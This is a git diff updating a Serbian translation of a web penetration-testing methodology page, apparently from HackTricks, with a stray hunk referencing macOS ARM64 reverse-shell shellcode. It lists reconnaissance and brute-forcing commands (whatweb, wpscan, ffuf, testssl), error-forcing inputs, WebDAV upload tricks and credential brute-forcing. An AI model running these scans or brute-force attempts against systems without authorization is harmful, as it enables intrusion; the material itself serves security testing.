-Sa [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444**
+Iz [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444**
 ```armasm
 .section __TEXT,__text
 .global _main

src/network-services-pentesting/pentesting-web/README.md

@@ -1,4 +1,4 @@
-# 80,443 - Pentesting Web metodologija
+# 80,443 - Pentesting Web Metodologija
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 Web servis je **najčešći i najopsežniji servis** i postoji mnogo **različitih tipova ranjivosti**.
 
-**Podrazumevani port:** 80 (HTTP), 443(HTTPS)
+**Podrazumevani port:** 80 (HTTP), 443 (HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Vodič za Web API
+### Smernice za Web API
 
 
 {{#ref}}
@@ -26,36 +26,36 @@ web-api-pentesting.md
 
 ## Sažetak metodologije
 
-> U ovoj metodologiji pretpostavićemo da ćete napadati jedan domain (ili subdomain) i samo njega. Dakle, treba da primenite ovu metodologiju na svaki otkriven domain, subdomain ili IP sa nedefinisanim web serverom unutar opsega.
+> U ovoj metodologiji pretpostavićemo da ćete napadati jedan domen (ili poddomen) i samo njega. Dakle, trebalo bi da primenite ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa nedeterminisanom web server instancom u scope-u.
 
-- [ ] Počnite sa **identifikacijom** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspete da identifikujete tehnologiju.
+- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspete da identifikujete tehnologiju.
 - [ ] Postoji li neka **poznata ranjivost** za verziju te tehnologije?
-- [ ] Koristi li se neka **well known tech**? Postoji li neki **useful trick** za dobijanje više informacija?
-- [ ] Postoji li neki **specialised scanner** za pokretanje (npr. wpscan)?
-- [ ] Pokrenite **general purposes scanners**. Nikad ne znate hoće li pronaći nešto ili neke interesantne informacije.
-- [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako HTTPS).
-- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **files, folders** i **parameters being used.** Takođe, proverite za **special findings**.
-- [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba ga spiderovati._
-- [ ] **Directory Brute-Forcing**: Pokušajte da brute force-ujete sve otkrivene folders tražeći nove **files** i **directories**.
-- [ ] _Napomena: svaki put kad se otkrije novi directory tokom brute-forcing ili spidering, treba da bude Brute-Forced._
-- [ ] **Backups checking**: Testirajte da li možete pronaći **backups** od **discovered files** dodavanjem uobičajenih backup ekstenzija.
-- [ ] **Brute-Force parameters**: Pokušajte da **find hidden parameters**.
-- [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezanih za njih.
-- [ ] [Sledite ovu kontrolnu listu](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] Koristi li se neka **well known tech**? Postoji li neki **koristan trik** za ekstrahovanje informacija?
+- [ ] Postoji li neki **specialised scanner** koji treba pokrenuti (kao wpscan)?
+- [ ] Pokrenite **general purposes scanners**. Nikad ne znate da li će nešto naći ili pružiti interesantne informacije.
+- [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako je HTTPS).
+- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
+- [ ] _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, on treba da bude spidered._
+- [ ] **Directory Brute-Forcing**: Pokušajte da brute-force-ujete sve otkrivene foldere u potrazi za novim **fajlovima** i **direktorijumima**.
+- [ ] _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, on treba da bude Brute-Forced._
+- [ ] **Backups checking**: Testirajte da li možete da nađete **backups** otkrivenih **fajlova** dodavanjem uobičajenih backup ekstenzija.
+- [ ] **Brute-Force parameters**: Pokušajte da **otkrijete skrivene parametre**.
+- [ ] Kada identifikujete sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezane za njih.
+- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Verzija servera (Ranjiv?)
+## Server Version (Vulnerable?)
 
-### Identifikacija
+### Identify
 
-Proverite da li postoje **poznate ranjivosti** za verziju servera koja se pokreće.\
-**HTTP headers and cookies of the response** mogu biti veoma korisni za identifikaciju tehnologija i/ili verzije koja se koristi. **Nmap scan** može identifikovati verziju servera, ali korisni mogu biti i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ili [**https://builtwith.com/**](https://builtwith.com)**:**
+Proverite da li postoje **poznate ranjivosti** za verziju servera koja radi.\
+**HTTP headers and cookies of the response** mogu biti veoma korisni za **identifikovanje** **tehnologija** i/ili **verzije** koja se koristi. **Nmap scan** može identifikovati verziju servera, ali korisni mogu biti i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-exploits.md)
+Pretraži **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
 ### **Proveri da li postoji WAF**
 
@@ -63,9 +63,9 @@ Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-ex
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Trikovi za web tehnologije
+### Web tech tricks
 
-Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **tehnologijama** koje se koriste:
+Neki trikovi za pronalaženje ranjivosti u različitim dobro poznatim tehnologijama koje se koriste:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -101,26 +101,25 @@ Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 
-_Imajte u vidu da isti **domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenima**._\
-Ako web aplikacija koristi neku od prethodno navedenih dobro poznatih **tehnologija/platformi** ili **neku drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
+_Imajte u vidu da isti domen može koristiti različite tehnologije na različitim portovima, folderima i poddomenima._\
+Ako web aplikacija koristi neku dobro poznatu tech/platform navedenu gore ili neku drugu, ne zaboravite da pretražite Internet za nove trikove (i javite mi!).
 
-### Pregled izvornog koda
+### Source Code Review
 
-Ako je **source code** aplikacije dostupan na **github**, pored izvođenja od strane vas **White box test** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testing**:
+Ako je **source code** aplikacije dostupan na **github**, pored toga što sami možete izvršiti White box test aplikacije, postoje informacije koje mogu biti korisne za trenutni Black-Box testing:
 
-- Postoji li **Change-log**, **Readme** ili **Version** fajl ili nešto sa **informacijama o verziji dostupnim** preko weba?
-- Kako i gde su sačuvane **credentials**? Postoji li neki (pristupačni?) **file** sa credentials (korisnička imena ili passwords)?
-- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** se koristi?
+- Da li postoji **Change-log ili Readme ili Version** fajl ili nešto sa **version info** dostupno preko weba?
+- Kako i gde su sačuvani **credentials**? Da li postoji neki (dostupan?) **file** sa credentials (usernames ili passwords)?
+- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** je korišćen?
 - Da li koristi neki **master key** za enkripciju nečega? Koji **algorithm** se koristi?
-- Možete li **pristupiti bilo kojem od ovih fajlova** iskorišćavanjem neke ranjivosti?
-- Ima li neke **zanimljive informacije na githubu** (rešene i nerešene) **issues**? Ili u **commit history** (možda je neka **password** ubačen u starom commitu)?
-
+- Možete li **access any of these files** iskorišćavanjem neke ranjivosti?
+- Da li ima neke interesantne informacije na github-u (solved and not solved) u **issues**? Ili u **commit history** (možda je neka **password introduced inside an old commit**)?
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Automatski skeneri
+### Automatic scanners
 
 #### General purpose automatic scanners
 ```bash
@@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### CMS skeneri
 
-Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda se nađe nešto korisno:
+Ako se koristi CMS, ne zaboravite da **pokrenete skener** — možda se pronađe nešto zanimljivo:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sajtove zbog sigurnosnih problema. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websajtove zbog bezbednosnih propusta. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -149,45 +148,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> U ovoj fazi trebalo bi da već imate neke informacije o web serveru koji koristi klijent (ako su dati podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, čak ste pronašli CMS i pokrenuli neki scanner.
+> U ovoj fazi trebalo bi da već imate neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i nekoliko trikova koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki scanner.
 
-## Koračno otkrivanje web aplikacije
+## Korak-po-korak Web Application Discovery
 
-> Od ovog trenutka počinjemo da interagujemo sa web aplikacijom.
+> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom.
 
 ### Početne provere
 
-**Podrazumevane stranice sa zanimljivim informacijama:**
+**Default pages with interesting info:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Proverite i komentare na glavnim i sekundarnim stranicama.
+- Check also comments in the main and secondary pages.
 
-**Navođenje grešaka**
+**Forcing errors**
 
-Web serveri se mogu **ponašati neočekivano** kada im se pošalju čudni podaci. To može otvoriti **ranjivosti** ili dovesti do **otkrivanja osetljivih informacija**.
+Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
 
-- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc)
-- **Dodajte "\[]", "]]", i "\[\["** u **vrednosti cookie-ja** i **parametara** da izazovete greške
-- Generišite grešku unošenjem **`/~randomthing/%s`** na **kraj** **URL-a**
-- Isprobajte **različite HTTP Verbs** kao PATCH, DEBUG ili pogrešne kao FAKE
+- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
+- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
+- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
+- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
 
-#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Proverite da li možete da otpremate fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da:
+If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
 
 - **Brute Force** credentials
-- **Upload files** via WebDav u **ostatak** **pronađenih foldera** unutar web stranice. Možda imate dozvole da otpremite fajlove u drugim folderima.
+- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
 
 ### **SSL/TLS ranjivosti**
 
-- Ako aplikacija **ne primorava korišćenje HTTPS** ni u jednom delu, onda je **ranjiva na MitM**
-- Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP**. To predstavlja visoku ranjivost.
+- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
+- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
 
-Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) da proverite **ranjivosti** (u Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) da ponovo proverite ranjivosti:
+Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -196,60 +195,60 @@ Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) da proverite
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Informacije o SSL/TLS ranjivostima:
+Information about SSL/TLS vulnerabilities:
 
 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 
 ### Spidering
 
-Pokrenite neku vrstu **spider** unutar web-a. Cilj **spider**-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i eksterni izvori treba da se koriste da bi se pronašlo što više validnih putanja.
+Pokrenite neku vrstu **spider** unutar web-a. Cilj spider-a je da **pronađe što više puteva (paths) iz testirane aplikacije**. Zbog toga treba koristiti web crawling i eksterne izvore kako biste pronašli što više validnih puteva.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS files i eksternim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS files i Archive.org kao eksterni izvor.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS fajlovima i eksterni izvori (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS fajlove i Archive.org kao eksterni izvor.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "juicy files".
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete samo navesti fajl sa hostovima i fajl sa putanjama i meg će fetch-ovati svaku putanju na svakom hostu i sačuvati odgovor.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa JS rendering mogućnostima. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira
+- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete navesti fajl sa hosts i fajl sa path-ovima i meg će fetch-ovati svaki path na svakom hostu i sačuvati response.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira
 - [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi eksterne provajdere (wayback, otx, commoncrawl)
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripta koja će naći URL-ove sa parametrima i izlistati ih.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa JS rendering mogućnostima.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS files. Može biti korisno takođe pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper LinkFinder-a.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoints kako iz HTML source-a tako i iz embedded javascript fajlova. Korisno za bug hunter-e, red team-e, infosec ninje.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS fajlovima. Vredi pogledati i [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper za LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoint-a iz HTML source-a i embedded javascript fajlova. Korisno za bug hunter-e, red team-ere, infosec ninje.
 - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skripta koja koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lako otkrivanje AJAX zahteva. Izgleda neodržavano.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Za dati fajl (HTML) ekstrahuje URL-ove koristeći zgodan regularni izraz da pronađe i izvuče relativne URL-ove iz "ružnih" (minify) fajlova.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikuplja interesantne informacije iz JS files koristeći više alata.
-- [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS files.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve URL-ove koje je učitao da bi učitao stranicu.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Tool za otkrivanje sadržaja kombinujući nekoliko opcija prethodnih alata
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path i params u JS files.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dat .js.map URL, dobije beatified JS kod
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat za otkrivanje endpoints za dati target.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrij linkove iz wayback machine-a (takođe preuzimajući odgovore u wayback i tražeći dalje linkove)
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl-uje (čak i popunjavanjem formi) i takođe pronalazi osetljive informacije koristeći specifične regex-e.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Za dati fajl (HTML) izvući će URL-ove koristeći zgodne regularne izraze da pronađe i izvuče relativne URL-ove iz "ružnih" (minified) fajlova.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Prikuplja interesantne informacije iz JS fajlova koristeći više alata.
+- [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS fajlove.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve url-ove koje je strana učitala.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje više opcija iz prethodnih alata
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path-ova i parametara u JS fajlovima.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, ako postoji .js.map URL, dobije beatified JS kod
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat koji se koristi za otkrivanje endpoint-a za dati target.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrij linkove iz wayback machine (takođe download-uje response u wayback-u i traži još linkova)
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawluje (čak i popunjavanjem formi) i takođe pronalazi osetljive informacije koristeći specifične regex-e.
 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni multi-feature GUI web security Crawler/Spider dizajniran za cyber security profesionalce.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go package i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, sekretâ i drugih interesantnih podataka iz JavaScript source koda.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoints** iz request-a da bi se kreirao custom wordlist za fuzzing i enumeraciju.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan tool za ovo.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go paket i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, path-ova, sekreta i drugih interesantnih podataka iz JavaScript source koda.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoint-a** iz request-a radi kreiranja custom wordlist-e za fuzzing i enumeraciju.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan alat za ovo.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Ispisuje svaki link koji uspe da pronađe.
 
 ### Brute Force directories and files
 
-Počnite sa **brute-forcing** iz root folder-a i obavezno brute-force-ujte **sve** **direktorijume koji su pronađeni** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete izvršiti brute-forcing **rekurzivno** i dodati na početak korišćene wordlist-e imena pronađenih direktorijuma).\
-Tools:
+Počnite sa **brute-forcing** iz root folder-a i postarajte se da brute-force-ujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete raditi brute-forcing **rekurzivno** i dodavati na početak korišćene wordlist-e imena pronađenih direktorijuma).\
+Alati:
 
-- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
+- **Dirb** / **Dirbuster** - Uključeni u Kali, **stari** (i **sporiji**) ali funkcionalni. Dozvoljavaju auto-signed sertifikate i rekurzivno pretraživanje. Previše spori u poređenju sa drugim opcijama.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava auto-signed sertifikate ali** podržava rekurzivno pretraživanje.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava auto-signed sertifikate, ali **nema** **rekurzivno** pretraživanje.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
-- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
+- [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider ali alat koji, dat lista pronađenih URL-ova, ukloni "duplicirane" URL-ove.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension za kreiranje liste direktorijuma iz burp history različitih stranica
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa dupliciranim funkcionalnostima (bazirano na js import-ima)
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za detekciju upotrebljenih tehnologija i izbor wordlist-a koje treba koristiti.
 
-Preporučene liste reči:
+**Recommended dictionaries:**
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -268,41 +267,41 @@ Preporučene liste reči:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Napomena: kad god se novi direktorijum otkrije tokom brute-forcing-a ili spidering-a, treba da bude Brute-Forced._
+_Napomena: svaki put kad se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forc-ovati._
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken links unutar HTML-a koji mogu biti podložni takeovers.
-- **File Backups**: Kada nađete sve fajlove, tražite backup-ove svih izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijante imenovanja backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-- **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite skrivene parametre u svakom izvršnom web fajlu.**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken link-ove unutar HTML-a koji mogu biti podložni takeover-u
+- **File Backups**: Kada pronađete sve fajlove, tražite backup-ove izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite** skrivene parametre u svakom izvršnom web fajlu.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Proverite komentare u svim fajlovima, možete pronaći **credentials** ili **skrivenu funkcionalnost**.
-- Ako radite **CTF**, "uobičajen" trik je da **sakrijete** informacije unutar komentara na **desnoj strani** **stranice** (koristeći **stotine** **space** karaktera tako da ne vidite podatke ako otvorite source code u browser-u). Druga mogućnost je da koristite **više novih linija** i sakrijete informaciju u komentaru na **dnu** web strane.
-- **API keys**: Ako **pronađete bilo koji API key** postoji vodič koji pokazuje kako koristiti API keys različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
